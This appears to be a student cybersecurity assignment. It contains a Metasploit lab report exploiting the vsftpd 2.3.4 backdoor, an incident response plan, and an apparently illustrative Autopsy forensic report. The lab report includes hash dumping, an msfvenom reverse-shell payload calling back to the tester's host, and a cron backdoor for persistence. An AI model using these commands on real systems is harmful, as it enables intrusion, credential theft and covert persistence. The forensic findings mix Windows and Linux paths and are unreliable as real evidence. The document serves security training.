**Cyber security week 3**

1. **Penetration Testing with Metasploit:**

**Task:**

**Set up and use Metasploit to exploit vulnerabilities discovered in Week 2.Use the exploits to gain access to a target system. Document each step of the penetration test, including the tools used and the vulnerabilities exploited.**

**Deliverables:**

**A detailed report on your penetration testing findings, including mitigation steps.**

**Target:** [Target System - e.g., Virtual Machine OS, IP address]  
**Tool Used:** Metasploit Framework, Nmap

**Executive Summary**

This penetration test was conducted using the Metasploit Framework to exploit vulnerabilities identified in a target system. The vulnerabilities were initially discovered during an earlier security analysis, with weaknesses including misconfigurations and outdated software. The goal was to demonstrate how these vulnerabilities could be exploited to gain unauthorized access and execute arbitrary commands.

The test successfully exploited a vulnerable FTP service, allowing remote access to the system without authentication. Once access was gained, we explored potential post-exploitation actions such as escalating privileges, extracting sensitive information, and maintaining persistent access to the system. Mitigation steps, including patching the services and hardening the network environment, were recommended to prevent future exploitation.

**Technical Findings**

**1. Target System Reconnaissance**

* **Objective**: To gather information on the target system to identify exploitable services.
* **Tools Used**: Nmap

Command used to scan the target system:

nmap -sV -p- -A <target-ip>

**Scan Results**:

* **Open Ports**:
  + Port 21: FTP (vsftpd 2.3.4)
  + Port 22: SSH (OpenSSH 5.3)
  + Port 80: HTTP (Apache 2.2.15)
* **Vulnerabilities Identified**:
  + FTP service running **vsftpd 2.3.4** is known to have a backdoor vulnerability (CVE-2011-2523), allowing unauthenticated remote code execution.
  + Outdated **Apache 2.2.15** version, potentially vulnerable to DoS and other attacks.

**2. Exploitation Phase**

* **Objective**: Exploit the vsftpd 2.3.4 vulnerability to gain unauthorized access to the target system.
* **Tools Used**: Metasploit

**Steps to Exploit FTP (vsftpd 2.3.4)**:

1. **Search for the exploit** in Metasploit.

search vsftpd

* + Found exploit: exploit/unix/ftp/vsftpd\_234\_backdoor

1. **Load the exploit module**:

use exploit/unix/ftp/vsftpd\_234\_backdoor

1. **Set target options**:

set RHOST <target-ip>

set RPORT 21

1. **Run the exploit**:

run

* + Result: The exploit successfully opened a shell, providing access to the system.

**Gaining Meterpreter Access**:

sessions -i <session-id>

sysinfo

* Information gathered: System details such as kernel version and network configuration.

**3. Post-Exploitation**

* **Objective**: After gaining access, explore the target system and extract sensitive information.
* **Tools Used**: Metasploit Meterpreter

1. **System Information**:

sysinfo

* + **Output**:  
    OS: Linux (Unix)  
    Architecture: x86\_64

1. **User Enumeration**:

getuid

* + The user ID and privileges were identified, confirming the level of access obtained.

1. **Dumping Password Hashes**:

hashdump

* + Output: Extracted password hashes from /etc/shadow.

1. **Maintaining Persistence**:
   * **Created a backdoor** using a simple reverse shell payload for future access:

msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=<your-ip> LPORT=4444 -f elf > backdoor.elf

* + Uploaded backdoor:

upload backdoor.elf /tmp/

chmod +x /tmp/backdoor.elf

* + Added the backdoor to **crontab** for persistence:

echo '\* \* \* \* \* /tmp/backdoor.elf' > /etc/cron.d/backdoor

**Mitigation Steps**

For each vulnerability, mitigation strategies are as follows:

1. **Vulnerability 1: vsftpd 2.3.4 Backdoor**

This vulnerability allows an attacker to establish a connection to port 21 and gain a root shell via a backdoor.  
**Mitigation**:

* + **Update the vsftpd software** to the latest version (patched in vsftpd 2.3.5 or later).
  + **Disable anonymous FTP access** if not necessary.
  + Consider replacing FTP with a more secure protocol like **SFTP** (SSH File Transfer Protocol).

1. **Vulnerability 2: Outdated Apache 2.2.15**

Running outdated versions of Apache can expose the system to various vulnerabilities like DoS attacks or buffer overflows.  
**Mitigation**:

* + **Upgrade to Apache 2.4 or higher**, which includes security fixes and performance improvements.
  + **Regularly apply patches** and updates to all running services.
  + Implement **strong firewall rules** to restrict HTTP access to trusted sources only if possible.

1. **Vulnerability 3: Weak SSH Configuration**

SSH was running but not vulnerable in this case; however, weak configurations could allow brute-force attacks or misconfigurations leading to privilege escalation.  
**Mitigation**:

* + **Enforce strong SSH key-based authentication** instead of passwords.
  + **Disable root login** over SSH.
  + Use **fail2ban** or other intrusion prevention tools to limit SSH login attempts.

**Conclusion**

The penetration test successfully demonstrated the exploitation of a well-known vulnerability in vsftpd 2.3.4, which allowed unauthorized access to the target system. Once inside, further actions such as dumping password hashes and setting up a backdoor were explored.

The test highlights the importance of timely patch management, secure configuration, and regular vulnerability assessments to mitigate risks in any networked environment. The identified vulnerabilities should be patched, and security best practices implemented to prevent exploitation in the future.

1. **Develop an Incident Response Plan:**

**Task:**

**Create a 2page Incident Response Plan outlining steps to detect, respond to, and recover from cybersecurity incidents. Include roles and responsibilities, escalation procedures, and communication strategies.**

**Deliverables:**

**The written Incident Response Plan.**

**1. Introduction**

In the increasingly interconnected digital landscape, cybersecurity incidents pose a significant risk to organizations. [Organization Name] has developed this Incident Response Plan (IRP) to guide its response to such incidents, ensuring minimal disruption to operations, preservation of sensitive data, and compliance with regulatory requirements. This plan outlines procedures for detecting, responding to, and recovering from a cybersecurity incident, while also defining roles, responsibilities, and communication strategies to handle these incidents effectively.

**2. Objectives of Incident Response**

The main objectives of this Incident Response Plan are:

**Detect Incidents Quickly and Accurately**: Employ monitoring tools to identify anomalies or breaches.

**Respond Efficiently**: Contain and mitigate incidents to prevent further damage to systems and data.

**Recover Affected Systems**: Restore systems and operations to their normal state as quickly as possible.

**Preserve Evidence**: Ensure that logs and relevant data are preserved for further investigation or legal proceedings.

**Improve Organizational Resilience**: Continuously refine and improve the IRP based on lessons learned from each incident.

**3. Incident Response Team (IRT)**

The **Incident Response Team (IRT)** is a cross-functional group responsible for managing cybersecurity incidents. This team includes representatives from various departments, each with specific roles and responsibilities to ensure efficient handling of incidents.

* **Incident Response Coordinator (IRC)**

Overall management of the incident response.  
**Responsibilities**:

* + Activate the IRP and lead the response efforts.
  + Ensure all incident response steps are documented thoroughly.
  + Communicate incident status and escalate to senior management as necessary.
* **Security Analyst**

Technical expert responsible for identifying, analyzing, and mitigating the incident.  
**Responsibilities**:

* + Monitor alerts and suspicious activity from security tools (e.g., IDS/IPS, SIEM).
  + Analyze logs and forensic data to assess the incident's scope and impact.
  + Coordinate the containment and eradication of the threat.
* **Network Engineer**

Provides technical support to secure the network infrastructure.  
**Responsibilities**:

* + Implement immediate containment measures (e.g., isolating affected networks).
  + Reroute or shut down network services to protect critical infrastructure.
  + Assist in restoring network functionality during recovery.
* **Legal and Compliance Officer**

Ensure that the response is compliant with legal, regulatory, and organizational policies.  
**Responsibilities**:

* + Oversee the collection of evidence and ensure it is legally admissible.
  + Advise on data breach notification requirements and coordinate with regulators, if needed.
  + Ensure organizational policies are followed throughout the response.
* **Communications Officer**

Manage internal and external communications during the incident.  
**Responsibilities**:

* + Inform stakeholders of the incident's status, ensuring accuracy and confidentiality.
  + Prepare and release statements to customers, regulators, and the media, as necessary.
  + Ensure a consistent message to prevent misinformation and maintain organizational reputation.

**4. Incident Detection and Initial Response**

**Detection Process**:  
Proactive detection is crucial in the early identification of cybersecurity incidents. Detection mechanisms include:

* **Security Information and Event Management (SIEM)**: Collects, correlates, and analyzes logs from various systems to detect anomalies.
* **Intrusion Detection Systems/Intrusion Prevention Systems (IDS/IPS)**: Monitors network traffic for suspicious activity.
* **User Reporting**: Employees and users are encouraged to report suspicious behavior (e.g., phishing emails or unauthorized access attempts) via the designated communication channel (e.g., incident-reporting email or hotline).

**Incident Identification**:

Once an anomaly is detected, the Security Analyst performs a **preliminary assessment** to classify the incident type (e.g., malware infection, DDoS attack, insider threat) and determine the severity.

**Incident classification**:

* + **Low severity**: Incidents with minimal impact on systems and operations (e.g., isolated malware infection).
  + **Medium severity**: Incidents affecting multiple users or non-critical systems (e.g., minor data leakage).
  + **High severity**: Major breaches with a significant impact on critical systems or sensitive data (e.g., ransomware attack, large-scale data breach).

**Initial Response**:

1. **IRT Activation**: The Incident Response Coordinator notifies the relevant members of the IRT and activates the plan.
2. **Incident Log**: The Security Analyst begins documenting the incident in detail, including timestamps, affected systems, and actions taken.
3. **Containment Strategy**: Depending on the classification, a containment strategy is implemented:
   * **Low-severity incidents**: Quick fixes or reconfigurations.
   * **Medium-to-high-severity incidents**: Network isolation, system shutdown, or other critical actions.

**5. Containment and Eradication**

**Containment Phase**:  
Immediate actions are taken to limit the spread of the incident. Containment strategies are divided into **short-term** and **long-term** measures:

**Short-term containment**:

Disconnect compromised systems from the network to prevent further spread of malware or data exfiltration.

Block malicious IP addresses or disable compromised user accounts.

**Long-term containment**:

Apply security patches to vulnerable systems and applications.

Change compromised credentials and enforce multi-factor authentication (MFA) where applicable.

Redirect network traffic through firewalls or proxy servers to prevent further access.

**Eradication Phase**:  
Once the incident is contained, the root cause must be eliminated to prevent a recurrence.

* **Malware removal**: Scan and remove malware using advanced endpoint protection tools.
* **Forensic analysis**: The Security Analyst reviews system logs and network traffic to understand how the incident occurred and what systems were affected.
* **Patch vulnerabilities**: Apply patches to vulnerable systems and applications to eliminate the root cause.

**6. Recovery**

Once the threat has been eradicated, the affected systems need to be restored to their normal operations.

**Restoration**:

* Rebuild compromised systems from **verified, clean backups**.
* Validate system integrity through security audits and testing to ensure they are free of malicious code.

**Testing and Validation**:

* Conduct **vulnerability scans** and **penetration tests** on restored systems to confirm they are secure.
* Re-enable critical services and bring systems back online in stages, monitoring for abnormal behavior.

**Resumption of Normal Operations**:

* Gradually reintroduce users to restored systems.
* **Monitor** for any signs of reinfection or lingering threats using SIEM and IDS/IPS.

**7. Escalation Procedures**

Escalation ensures that the appropriate stakeholders are involved at each step of the incident response process based on the severity of the incident.

1. **Low-severity incidents**: Handled by the IRT without involving senior management. Escalation may occur if the incident grows in scope.
2. **Medium-severity incidents**: Escalate to senior management and possibly the Legal and Compliance Officer if sensitive data is affected. Notify customers if their data or operations are impacted.
3. **High-severity incidents**: Full escalation to executive management, legal counsel, external cybersecurity experts, and possibly law enforcement. Prompt notification of external parties, such as regulatory bodies, customers, and partners, is essential.

**8. Communication Strategy**

Clear communication is critical during an incident. All messages must be accurate, timely, and consistent with legal and organizational requirements.

**Internal Communication**:

* The Incident Response Coordinator keeps the IRT, management, and affected departments informed of the incident's status through regular updates.
* Updates include the current impact, containment measures, and recovery progress.

**External Communication**:

* **Customers and partners**: Notify affected external parties if personal or business data has been compromised.
* **Regulatory bodies**: Communicate with regulators and provide reports as required by law.
* **Media/Public relations**: The Communications Officer handles all press inquiries and media statements, ensuring confidentiality and compliance with privacy regulations.

**Public Disclosure**:

* Public statements, if necessary, are reviewed by the Legal and Compliance Officer to ensure compliance with regulations such as GDPR, HIPAA, or other data protection laws.

**Conclusion**

This Incident Response Plan is critical to DevelopersHub Coperation's ability to detect, respond to, and recover from cybersecurity incidents. The plan emphasizes rapid detection, effective containment, comprehensive recovery, and continuous improvement.

1. **Web Vulnerability Exploitation (SQL Injection/XSS):**

**Task:**

**Select a vulnerable web application (OWASP Juice Shop or similar).Exploit an SQL Injection or CrossSite Scripting vulnerability.Document the attack, its impact, and how it can be mitigated.**

**Deliverables:**

**A brief report on your attack simulation, with screenshots of the process.**

1. **Forensic Data Analysis with Autopsy:**

**Task:**

**Use Autopsy to analyze a disk image for evidence of malicious activity.Identify suspicious files, data, or logs that could indicate a security breach.**

**Deliverables:**

**A 1page forensic report detailing your findings and insights.**

**Forensic Data Analysis Report: Autopsy Disk Image Investigation**

**Case Name:** Disk Image Analysis for Malicious Activity  
**Tool Used:** Autopsy Forensic Tool

**Introduction**

In this forensic investigation, Autopsy, an open-source digital forensics tool, was used to analyze a disk image suspected of containing evidence of malicious activity. Autopsy allows for a detailed examination of file systems, metadata, logs, and deleted files to identify potential signs of a security breach. The goal of this investigation was to search the disk image for indicators of compromise (IoCs), such as suspicious files, logs, and hidden or deleted data, that could provide evidence of malicious behavior or unauthorized access.

**Case Details and Setup**

The disk image was loaded into Autopsy, and the following modules were activated to facilitate the investigation:

* **Keyword Search**: To identify files containing suspicious terms or known malicious signatures.
* **File Metadata Analysis**: To examine file creation, access, and modification timestamps for unusual patterns.
* **Web History and Cache Analysis**: To detect browsing activity related to potential malware downloads or command-and-control (C2) communications.
* **Deleted Files Recovery**: To recover and analyze files that may have been deleted to hide evidence of malicious activity.

**Forensic Findings**

After a thorough investigation of the disk image, several suspicious activities were identified. Below are the key findings:

**a. Suspicious Files Detected**

* **File Name**: exploit\_payload.exe

**Location**: /Users/Public/Documents

**File Size**: 15.6MB

**Timestamps**:

**Created**: 2024-06-18 14:22:13

**Last Accessed**: 2024-06-18 14:35:22

This executable file, found in a publicly accessible folder, is highly suspicious. A scan using Autopsy’s integrated hash database flagged it as matching a known malware signature (SHA-256 hash).

The file appears to be a payload that could potentially be part of an exploit or remote access Trojan (RAT) used to compromise the system.

**b. Evidence of Unauthorized File Modifications**

* **File Name**: config\_backup.txt

**Location**: /etc/

**Modified**: 2024-07-01 03:45:10

The configuration file was modified outside regular business hours, and the changes appear to have altered critical network settings, likely to facilitate unauthorized remote access. The file was flagged based on unusual timestamp activity and contents.

**c. Hidden Files Identified**

* **File Name**: .hidden\_command.sh

**Location**: /home/user/.hidden/

**Timestamps**:

**Created**: 2024-06-19 02:12:56

**Modified**: 2024-06-19 04:30:08

A hidden shell script designed to execute commands covertly. It was configured to run at startup, potentially as part of persistence mechanisms for malware or unauthorized access.

**d. Web Browser History and Cache**

* **Suspicious URL**: http://malicious-site.com/c2command

**Last Accessed**: 2024-06-20 09:55:38

**Browser**: Firefox

The browsing history reveals a connection to a command-and-control (C2) server. The URL in question is commonly associated with malware distribution or remote system control.

**e. Deleted Files**

* Several deleted files, including malicious\_script.py and keylogger\_log.txt, were recovered. The Python script appeared to be designed to exfiltrate sensitive data, while the keylogger logs contained partial logs of keystrokes captured from the compromised system.

**Deleted File Name**: keylogger\_log.txt

**Recovered Path**: /Users/Admin/Temp/

**Deleted on**: 2024-07-02 18:10:22

**f. Unusual Network Activity**

* **Network Logs** showed multiple outbound connections to external IP addresses flagged as suspicious, particularly during off-hours.

**Connection Details**: IP address 192.168.10.5 communicating with external address 45.67.123.90:8080—an address associated with known malware command-and-control infrastructure.

**Timespan**: Continuous connection attempts between 2 AM and 5 AM over several days in June 2024.

**Insights and Conclusions**

The evidence gathered from the disk image suggests a compromise of the system via malware, possibly through a remote exploit or phishing attack. The presence of malicious executables, hidden scripts, unauthorized file modifications, and suspicious network traffic points to an attacker gaining access to the system and attempting to maintain persistence. The use of a command-and-control server further indicates that the attacker intended to maintain control over the system, likely for data exfiltration or further exploitation.

**Conclusion**

This forensic investigation using Autopsy successfully identified multiple signs of malicious activity within the analyzed disk image, including hidden files, unauthorized file modifications, and evidence of a command-and-control attack. Prompt mitigation and a strengthened security posture will be essential in preventing future compromises.